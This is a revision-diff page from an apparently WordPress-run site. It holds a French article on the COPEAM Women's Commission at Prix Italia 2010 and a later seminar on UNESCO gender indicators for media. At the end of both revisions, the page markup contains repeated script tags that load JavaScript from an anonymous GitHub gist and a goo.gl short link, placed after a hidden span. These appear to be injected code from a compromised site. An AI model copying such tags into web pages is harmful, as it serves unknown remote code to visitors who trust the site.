You are viewing an old revision of this post, from February 18, 2011 @ 14:18:10. See below for differences between this version and the current revision.
Turin, 21 septembre 2010
Plusieurs médias, notamment la télévision, ont tendance à réduire l’image des femmes à sa représentation physique. La représentation des femmes à la télévision a un impact à la fois sur la perception que les femmes ont d’elles-mêmes et l’idée que l’image que les hommes, jeunes comme âgés, ont des femmes.
Ce sujet a été discuté par la Commission Femmes de la COPEAM à l’occasion de la 62ème édition du Prix Italia à Turin, à travers deux outils de recherche : le Global Media Monitoring Project (GMMP) et la version italienne du toolkit «Screening Gender», un outil de formation important pour les spécialistes de la communication télévisuelle.
La réflexion des participants a été animée par Mme Loredana Cornero, Présidente de la Commission Femmes, ainsi que par d’autres journalistes et expertes en communication comme Claudia Padovani, Monia Azzalini, Stefanella Campana, Marina Cosi, Iman Sabbah et Federica Turco.
Le thème central de cette réflexion est d’identifier quel type de représentation de la femme les médias transmettent d’habitude, ce qui fait l’objet du GMMP à travers un monitorage mondial sur les 15 dernières années des programmes d’information des principaux médias. 108 pays ont participé à l’enquête menée en 2010 dont les résultats offrent une analyse critique, quantitative et qualitative, de la présence du « corps de la femme » et de sa représentation dans les programmes TV.
En ce qui concerne le toolkit « Screening gender », introduit dans le même contexte, il montre aux opérateurs télé et radio – à travers un outil concret composé d’un tutoriel vidéo et d’un manuel pratique – quelles solutions stylistiques et linguistiques doivent être adoptées afin d’assurer une information respectant l’égalité des genres.
Changes:
February 18, 2011 @ 14:18:10 | Current Revision | ||
---|---|---|---|
Title | |||
la Commission Femmes de la COPEAM au Prix Italia | Femmes et Médias : A la recherche de nouvelles formes de représentation |
Content | |||
---|---|---|---|
<p> | <p> | ||
<em>Turin, 21 septembre 2010</em></p> | Le but du <span data-scayt_word="Groupe" data-scaytid= "1">Groupe</span> de Travail “Femmes en <span data-scayt_word= "Méditerranéeâ€" data-scaytid= "2">Mé diterrané e”</span> de la <span data-scayt_word="COPEAM" data-scaytid= "3">COPEAM</span> <span data-scayt_word="est" data-scaytid= "4">est</span> <span data-scayt_word= "l’étude" data-scaytid= "5">l’étude</span> de la condition et <span data-scayt_word="dela" data-scaytid= "6">dela</span> <span data-scayt_word= "représentation" data-scaytid= "7">repré sentation</span> <span data-scayt_word= "féminine" data-scaytid= "8">fé minine</span> <span data-scayt_word="dans" data-scaytid= "9">dans</span> le milieu <span data-scayt_word= "audiovisuel" data-scaytid= "11">audiovisuel</span> de <span data-scayt_word= "l’espace" data-scaytid= "12">l’ espace</span> Euro-Med, <span data-scayt_word="ainsi" data-scaytid= "13">ainsi</span> <span data-scayt_word="que" data-scaytid= "14">que</span> <span data-scayt_word= "l’idéation" data-scaytid= "15">l’ idéation</span>, <span data-scayt_word= "réalisation" data-scaytid= "16">ré alisation</span> et promotion de <span data-scayt_word="projets" data-scaytid= "17">projets</span> <span data-scayt_word="visant" data-scaytid= "18">visant</span> <span data-scayt_word="à " data-scaytid= "19">à</span> <span data-scayt_word="fournir" data-scaytid= "20">fournir</span> des <span data-scayt_word="outils" data-scaytid= "21">outils</span> <span data-scayt_word="concrets" data-scaytid= "22">concrets</span> <span data-scayt_word= "d’émancipation" data-scaytid= "23">d’ émancipation</span>, <span data-scayt_word="notamment" data-scaytid= "24">notamment</span> <span data-scayt_word="dans" data-scaytid= "10">dans</span> <span data-scayt_word="ces" data-scaytid= "25">ces</span> <span data-scayt_word= "régions" data-scaytid= "26">ré gions</span> <span data-scayt_word= "particulièrement" data-scaytid= "27">particuliè rement</span> « <span data-scayt_word= "difficiles" data-scaytid= "28">difficiles</span> »</p> | ||
<p> | <p> | ||
<img alt="" src="../../userfiles/ image/Prix%20Italia2010%20women%20commission5.jpg" style="width: 237px; height: 162px; float: left;" /></p> | <span style="font-size: 14px"><span style="color: rgb(0,100,0)"><strong>A LA </strong></span> </span><span style="font-size: 14px"><span style="color: rgb(0,100,0)" ><strong><span data-scayt_word="UNE" data-scaytid= "29">UNE</span></strong>< /span></span></p> | ||
<p> | <p> | ||
<span>Plusieurs</span> <span>mé dias</span>, <span>notamment</span> la <span>té lévision</span>, <span>ont</span> <span>tendance</span> <span>à</span> <span>ré duire</span> <span>l’ image</span> des femmes <span>à</span> <span>sa</span> <span>repré sentation</span> physique. La <span>repré sentation</span> des femmes <span>à</span> la <span>té lévision</span> a un impact <span>à</span> la <span>fois</span> <span>sur</span> la perception <span>que</span> les femmes <span>ont</span> <span>d’ elles-mêmes</span> et <span>l’ idée</span> <span>que</span> <span>l’ image</span> <span>que</span> les <span>hommes</span>, <span>jeunes</span> <span>comme</span> <span>â gés</span>, <span>ont</span> des femmes.<br /> | |||
<br /> | |||
<span>Ce</span> <span>sujet</span> a <span>é té</span> <span>discuté</span> par la Commission Femmes de la <span>COPEAM</span> <span>à</span> <span>l’ occasion</span> de la <span>62ème</span> <span>é dition</span> du Prix Italia <span>à</span> Turin, <span>à</span> <span>travers</span> <span>deux</span> <span>outils</span> de <span>recherche</span> : le Global Media Monitoring Project (<span>GMMP</span>) et la version <span>italienne</span> du toolkit «Screening Gender», un <span>outil</span> de formation important pour les <span>spé cialistes</span> de la communication <span>té lévisuelle</span>.<br /> | |||
<br /> | |||
La <span>ré flexion</span> des participants a <span>é té</span> <span>animée</span> par Mme <span>Loredana</span> <span>Cornero</span>, <span>Pré sidente</span> de la Commission Femmes, <span>ainsi</span> <span>que</span> par <span>d’ autres</span> <span>journalistes</span> et <span>expertes</span> en communication <span>comme</span> Claudia <span>Padovani</span>, <span>Monia</span> <span>Azzalini</span>, <span>Stefanella</span> <span>Campana</span>, Marina <span>Cosi</span>, <span>Iman</span> <span>Sabbah</span> et <span>Federica</span> <span>Turco</span>.<br /> | |||
<br /> | |||
Le <span>thème</span> central de <span>cette</span> <span>ré flexion</span> <span>est</span> <span>d’ identifier</span> quel type de <span>repré sentation</span> de la femme les <span>médias</span> transmettent d’habitude, ce qui fait l’objet du <span>GMMP</span> <span>à</span> <span>travers</span> un monitorage mondial <span>sur</span> les 15 dernières années des programmes d’information des principaux <span>mé dias</span>. 108 pays <span>ont</span> participé <span>à</span> l’enquête menée en 2010 dont les résultats offrent une analyse critique, quantitative et qualitative, de la présence du « corps de la femme » et de <span>sa</span> <span>repré sentation</span> <span>dans</span> les programmes TV.<br /> | |||
<br /> | |||
<img alt="" src="/userfiles/ image/ritsm.jpg" style="width: 242px; height: 180px; float: left;" />Les 15 et 16 <span data-scayt_word="juillet" data-scaytid= "92">juillet</span>, la <span data-scayt_word="COPEAM" data-scaytid= "59">COPEAM</span> a <span data-scayt_word= "organisé" data-scaytid= "94">organisé</span> <span data-scayt_word="à " data-scaytid= "60">à</span> Ljubljana le <span data-scayt_word= "troisième" data-scaytid= "96">troisième</span> <span data-scayt_word= "séminaire" data-scaytid= "97">sé minaire</span> <span data-scayt_word="sur" data-scaytid= "99">sur</span> <span data-scayt_word= "l’adaptation" data-scaytid= "101">l’ adaptation</span> des <span data-scayt_word= "Indicateurs" data-scaytid= "102">Indicateurs</span> des Genres pour les <span data-scayt_word="Médias" data-scaytid= "103">Médias</span> de <span data-scayt_word= "l’UNESCO" data-scaytid= "104">l’ UNESCO</span>. <span data-scayt_word="Ce" data-scaytid= "106">Ce</span> <span data-scayt_word= "séminaire" data-scaytid= "98">sé minaire</span> <span data-scayt_word= "s’inscrit" data-scaytid= "107">s’ inscrit</span> <span data-scayt_word="dans" data-scaytid= "61">dans</span> un plus ample <span data-scayt_word="projet" data-scaytid= "110">projet</span> <span data-scayt_word="promu" data-scaytid= "111">promu</span> par <span data-scayt_word= "l’UNESCO" data-scaytid= "105">l’ UNESCO</span> <span data-scayt_word="sur" data-scaytid= "100">sur</span> <span data-scayt_word= "l’intégration" data-scaytid= "112">l’inté gration</span> de la perspective des genres <span data-scayt_word="dans" data-scaytid= "62">dans</span> les <span data-scayt_word= "politiques" data-scaytid= "113">politiques</span> et les <span data-scayt_word="pratiques" data-scaytid= "114">pratiques</span> <span data-scayt_word= "professionnelles" data-scaytid= "115">professionnelles</span> des <span data-scayt_word="médias" data-scaytid= "116">mé dias</span>.<br /> | |||
En ce qui concerne le toolkit « Screening gender », introduit <span>dans</span> le même contexte, il montre aux opérateurs télé et radio – <span>à</span> <span>travers</span> un <span>outil</span> concret composé d’un tutoriel vidéo et d’un manuel pratique – quelles solutions stylistiques et linguistiques doivent être adoptées afin d’assurer une information respectant l’é galité des genres.<br /> | Accueillie par la RTVSLO, la rencontre a impliqué une dizaine de professionnels provenant de différentes directions qui ont analysé, sélectionné et adapté les indicateurs les plus pertinents au contexte de leur organisme. Le séminaire à été ouvert par M. Marko Filli, Directeur Général du diffuseur slovène, et à été conduit par la COPEAM avec le support de Mme Živa Humer, chercheuse au Pace Institute.</p> | ||
</p> | |||
<p> | <p> | ||
<span style="color: rgb(0, 0, 205);"><u><strong><a href="http:// www.whomakesthenews.org/" style="color: rgb(0, 0, 255);"><span>GMMP</span> site </a></strong> </u></span><u><strong><a href="http:// www.whomakesthenews.org/" style="color: rgb(0, 0, 255);">web</a> </strong></u></p> | Au cours des deux jours de travail, les participants ont concordé une version adaptée des indicateurs et un plan d’action pour leur application, afin d’évaluer les politiques internes en matière d’é galité entre les genres. Cela permettra d’élaborer des recommandations visant à renforcer l’équilibre hommes-femmes dans les stratégies de la RTVSLO.</p> | ||
<p> | <p> | ||
Le <span data-scayt_word= "deuxième" data-scaytid= "143">deuxième</span> <span data-scayt_word= "séminaire" data-scaytid= "117">sé minaire</span> de <span data-scayt_word="cette" data-scaytid= "145">cette</span> <span data-scayt_word="série" data-scaytid= "146">série</span> a <span data-scayt_word="été" data-scaytid= "147">é té</span> <span data-scayt_word="accueilli" data-scaytid= "148">accueilli</span> par la <span data-scayt_word= "radiotélévision" data-scaytid= "149">radiotélé vision</span> <span data-scayt_word="publique" data-scaytid= "150">publique</span> <span data-scayt_word="albanaise" data-scaytid= "151">albanaise</span> – <span data-scayt_word="RTSH" data-scaytid= "152">RTSH</span>, en <span data-scayt_word="mai" data-scaytid= "153">mai</span> 2013.</p> | |||
<table border="1" cellpadding="1" cellspacing="1" height="93" width="576"> | |||
<tbody> | |||
<tr> | |||
<td style="text-align: center"> | |||
<span style="color: rgb(0,100,0)" ><strong>LIENS UTILES</strong> </span></td> | |||
<td style="text-align: center"> | |||
<span style="color: rgb(0,100,0)"><strong>LA COMMISSION FEMMES SOUTIENT</strong> </span></td> | |||
</tr> | |||
<tr> | |||
<td> | |||
<p> | |||
<a href="http:// fr-fr.facebook.com/ femmes.mediterraneennes" target="_blank"><img alt="" src="../../userfiles/ image/BannerFacebookEN.gif" style="width: 149px; height: 36px" /></a></p> | |||
</td> | |||
<td colspan="1" rowspan="2"> | |||
<p style="margin-left: 40px"> | |||
<u><a href="http:// www.facebook.com/ group.php?gid= 101531982928& ref=ts"><span style="color: rgb(0, 0, 205);"><strong> <span>GMMP</span></strong> </span></a><span style="color: rgb(0, 0, 205);"><strong><a href="http:// www.facebook.com/ group.php?gid= 101531982928&ref=ts" style="color: rgb(0, 0, 255);"> </a></strong> </span><u><strong><a href="http:// www.facebook.com/ group.php?gid= 101531982928&ref=ts" style="color: rgb(0, 0, 255);">page de </a></strong></u><span style="color: rgb(0, 0, 205);"><u><strong><a href="http:// www.facebook.com/ group.php?gid= 101531982928&ref=ts" style="color: rgb(0, 0, 255);">Facebook </a></strong> </u></span></u></p> | <a href="../../proj.aspx?ln= fr&id=34&p=103" style="color: rgb(0,0,255)"><img alt="" src="../../userfiles/ image/women_makethenews_sm.jpg" style="width: 71px; height: 49px" /></a><a href="http:// www.copeam.org/ proj.aspx?ln= fr&id=0& p=196"><span style="color: rgb(0,0,205)" ><u><strong>COPEAM for...Women make the news</strong> </u></span></a></p> | ||
</td> | |||
</tr> | |||
<tr> | |||
<td> | |||
<a href="http:// www.youtube.com/ user/MediaAndWomen" target="_blank"><img alt="" src="../../userfiles/ image/womengroup_ youtube.jpg" style="width: 146px; height: 43px" /></a></td> | |||
</tr> | |||
</tbody> | |||
</table> | |||
<p> | |||
<span id="1253701565586E" style="display: none"></span></p> | |||
<script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// goo.gl/dd1kPI'></script> | <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// goo.gl/dd1kPI'></script> |
Note: Spaces may be added to comparison text to allow better line wrapping.